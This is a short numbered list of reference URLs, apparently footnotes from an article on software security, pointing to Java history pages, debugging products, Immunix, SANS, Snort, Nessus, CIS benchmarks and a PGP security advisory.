[13] http://java.sun.com/features/1998/05/birthday.html
[14] http://java.sun.com/people/jag/green/
[15] http://www.parasoft.com/jsp/products.jsp
[16] http://www.rational.com/products/purify_nt/index.jtmpl
[17] http://www.immunix.org/
[18] http://www.sans.org/top20.htm
[19] http://www.snort.org
[20] http://www.nessus.org
[21] http://www.cisecurity.org/bench_linux.html
[22] http://www.sans.org/snb/index.htm

[23] http://www.pgp.com/research/covert/advisories/047.asp